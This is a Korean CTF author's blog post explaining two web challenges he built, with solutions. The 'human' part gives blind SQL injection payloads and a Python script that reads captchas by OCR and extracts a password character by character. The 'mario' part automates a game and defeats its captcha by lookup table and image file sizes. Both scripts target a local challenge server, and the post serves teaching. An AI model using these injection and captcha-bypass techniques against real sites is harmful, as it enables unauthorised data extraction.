private/memo

leaveret jff3

qkqhxla1 2015. 7. 26. 22:55

리브렛에서 jff3를 열었습니다.


들어가고나서 몇일만에 ctf가 열려서 문제를 만드느라 문제가 좀 많이 부실하고 디자인도 안예뻐도 


기초적인 점수주기용 문제이고, 여러번 테스트해봐서그런지 푸는 속도나 푸는팀 수가 나름 계산대로 


잘 맞았던거 같네요. (나중에 보니 sqli문제를 급하게하느라 일부 필터를 까먹고 안 넣은것도 있었는데....


그럼에도 불구하고 예정된 시간은 잘 버텼습니다.전 human과 mario문제를 냈습니다.


human.egg


mario.zip






풀이.

human.

(풀이자 7명.)

검정 큰 화면이 보이는데 큰 사진(black.png)를 다운받아서 그림판으로 구석을 흰색으로 채우기해보면 어렴풋이 소스가 보입니다.(이거 rubiya님이 게싱이 살짝 더러울것 같다는 의견을 들었었는데 힌트 달라는 문의 보면 그게 좀 맞는지도 모르겠네요. 이거 짜증내신분들 죄송해요.)


소스를 해석해보면 윗부분에 이름이 switch이고, 값이 on인 쿠키값이 존재할 경우 black.png가 아니라 switch_on.png를 불러온다는 사실을 깨닫고, 쿠키값을 설정해서 보내면 하이라이팅된 소스가 보입니다.


하이라이팅된 소스를 분석하면 $_GET변수로 no와 cap변수를 입력받으며, no변수로 쿼리문을 조절할 수 있습니다. no로 쿼리문을 조절하려면 cap변수에 맞는 캡챠값을 오른쪽에서 읽어와야 합니다. 캡쳐값이 틀리면 틀리다고 아래에 표시됩니다. $_GET['pw']는 패스워드를 전부 얻었을때 입력할 경우 flag가 출력됩니다.


맞는 캡챠값을 입력할 경우 no로 쿼리문을 실행할 수 있으며 리턴값이 admin이면 true라는 이미지가 옆에 보이고, 다른 값이면 false라는 이미지가 오른쪽에 리턴됩니다. 이를 이용하여 참,거짓을 판별합니다.


sqli를 합니다.

?no=elt(locate(unhex(62),binary pw,1)=1,2,1)&cap=number

->true 이미지 리턴.

?no=elt(locate(unhex(64),binary pw,2)=2,2,1)&cap=number

->true 이미지 리턴.


프로그래밍을 잘 짜서 공격합니다. 숫자인식은 본인이 알아서 구현해야합니다.(파이썬같은경우 손쉬운 라이브러리 존재.)


공격 코드 예시.

import urllib2, re, pytesser, Image, time, os

session = 'PHPSESSID=fc5fee6c8bc9e751ba4050e1fe3c6ea4'
def download_photo(filename,path):
    file_path = "%s%s" % (os.path.dirname(os.path.realpath(__file__))+'\\', filename)
    downloaded_image = file(file_path, "wb")
     
    req = urllib2.Request('http://localhost/web_prob/'+path)
    req.add_header('cookie',session)
    image_on_web = urllib2.urlopen(req)
    while True:
        buf = image_on_web.read()
        if len(buf) == 0:
            break
        downloaded_image.write(buf)
     
    downloaded_image.close()
    image_on_web.close()
    return file_path


req = urllib2.Request('http://localhost/web_prob/index.php')
req.add_header('cookie',session)
page = urllib2.urlopen(req).read()
cap = re.findall(r'<br /><img src="(.*?)"><br />',page)[0]
download_photo('cap.png',cap)

answer = ''
import string
h = [hex(ord(i))[2:] for i in string.digits + string.ascii_lowercase]

for i in range(1,41):
    for j in h:
        print i,j,answer
        req = urllib2.Request('http://localhost/web_prob/index.php')
        req.add_header('cookie',session)
        page = urllib2.urlopen(req).read()
        cap = re.findall(r'<br /><img src="(.*?)"><br />',page)[0]
        download_photo('cap.png',cap)
        cap = pytesser.image_to_string(Image.open('cap.png')).strip()
        req = urllib2.Request('http://localhost/web_prob/index.php?no='+urllib2.quote('elt(locate(unhex('+j+'),binary pw,'+str(i)+')='+str(i)+',2,1)')+'&cap='+cap)
        req.add_header('cookie',session)
        page = urllib2.urlopen(req).read()
        #print page
        cap = re.findall('\s+<br /><img src="(.*?)">',page)[0]
        download_photo('t_or_f.png',cap)
        if pytesser.image_to_string(Image.open('t_or_f.png')).strip() == 'true':
            answer += chr(int(j,16))
            break
print 'pw = %s' %answer


mario.

그냥 들어가서 마리오 게임을 하면 됩니다. 15000점까지 점수를 올리는게 목표인데, 선택지를 고르기전에 얼굴 캡챠를 입력하게 함으로서 겁을 줬습니다. 


딱 봐도 이거 인식해서 프로그래밍하는거구나. 하는 식으로 겁을 줬는데..... 그럼 빡세니까 안해야지. 하는 분들이 많았던거같네요.(풀이자 7명) 얼굴 캡챠는 2개씩 나오는데, 잘 살펴보면 숫자.png입니다.


얼굴 캡챠는 그때그때 만들어지지 않습니다.(그때그때 만들면 대회서버의 리소스 사용량이 너무 커질거같아서 배점을 낮추고 야매로 했습니다.) 미리 100개를 만들어놓고 저장해놓고 불러와서 쓰는거죠.

그러니까... 이미지 프로그래밍을 못한다 싶으면 그냥 0~99.png를 모두 다운받아서 경우의 수를 txt같은 파일에 다 입력해놓은뒤 그거에 맞춰서 입력하면 되는것이었습니다.. 그러면 적들에 대해서는? 하는 분들이 있을텐데, 적들의 종류는 5가진가 있습니다만 전혀 이미지에 따로 작업을 안해두어서 


한종류의 적에 대해서는 용량이 같습니다. 크기.

#? = 4567, 뿔 = 307, 버섯적 = 383, 거북이적 = 447, 식인꽃 = 507, 왕 = 571


이렇게 크기를 지정해놓고 이미지를 다운받아서 크기로 적을 판별하면 되는 문제였습니다.

결국 적들을 인식하고, 캡챠도 얼굴을 인식해야된다고 겁을 준거같지만 조금만 생각해보면 이미지 관련 프로그래밍을 몰라도 풀수 있었습니다. 그리고 이게 의도였습니다. (다른 분 풀이를 보니 이미지의 hash값을 계산해서 판단했네요.)


풀어주신분들 모두 감사합니다.


아래는 마리오게임 코딩 예시.

import urllib2, re, time, os

session = 'PHPSESSID=e0376b5ad12332d3a4baa1b09f09333f'

def download_photo(filename,path):
    file_path = "%s%s" % ("C:\\Users\\Ko\\Documents\\Visual Studio 2012\\Projects\\PythonApplication37\\", filename)
    downloaded_image = file(file_path, "wb")
        
    req = urllib2.Request('http://localhost/web_prob2/image/'+path+'.png')
    req.add_header('Cookie',session)
    image_on_web = urllib2.urlopen(req)
    while True:
        buf = image_on_web.read()
        if len(buf) == 0:
            break
        downloaded_image.write(buf)
    downloaded_image.close()
    image_on_web.close()
    return file_path

req = urllib2.Request('http://localhost/web_prob2/')
req.add_header('cookie',session)
page = urllib2.urlopen(req).read()
face_list = open('face_list.txt','r').read().split(', ')

enemy = re.findall(r'vs <img src="image/(.*?).png">',page)[0]
face = re.findall(r'<center><img src="face/(.*?).png"></center>',page)[0]


download_photo('enemy.png',enemy)

#? = 4567, 뿔 = 307, 버섯적 = 383, 거북이적 = 447, 식인꽃 = 507, 왕 = 571

ti = time.time()
while True:
    cap = 0; choice = ''
    for f in face_list:
        s = f.split('=')
        if len(s)==2 and s[1]==face:
            cap = s[0]
            break
    choice = os.path.getsize("enemy.png")
    if choice==4567:
        choice = 3
    elif choice==383 or choice==447 or choice==571:
        choice = 2
    elif choice==307 or choice==507:
        choice = 1
    else:
        choice = 4
    print cap,choice,
    req = urllib2.Request('http://localhost/web_prob2/','cap='+urllib2.quote(str(cap))+'&choice='+urllib2.quote(str(choice)))
    req.add_header('cookie',session)
    page = urllib2.urlopen(req).read()
    enemy = re.findall(r'vs <img src="image/(.*?).png">',page)[0]
    download_photo('enemy.png',enemy)

    face = re.findall(r'<center><img src="face/(.*?).png"></center>',page)[0]
    points = re.findall(r'your points = <b>(.*?)</b><br />',page)[0]
    print points, time.time() - ti
    if int(points) > 19900:
        break
print time.time() - ti


'private > memo' 카테고리의 다른 글

http 2, 필터 관련  (0) 2015.08.16
php 형 비교 표  (0) 2015.07.31
개인 웹툰 리스트 페이지  (0) 2015.07.11
새 계획  (0) 2015.07.08
ASCII Art  (0) 2015.07.05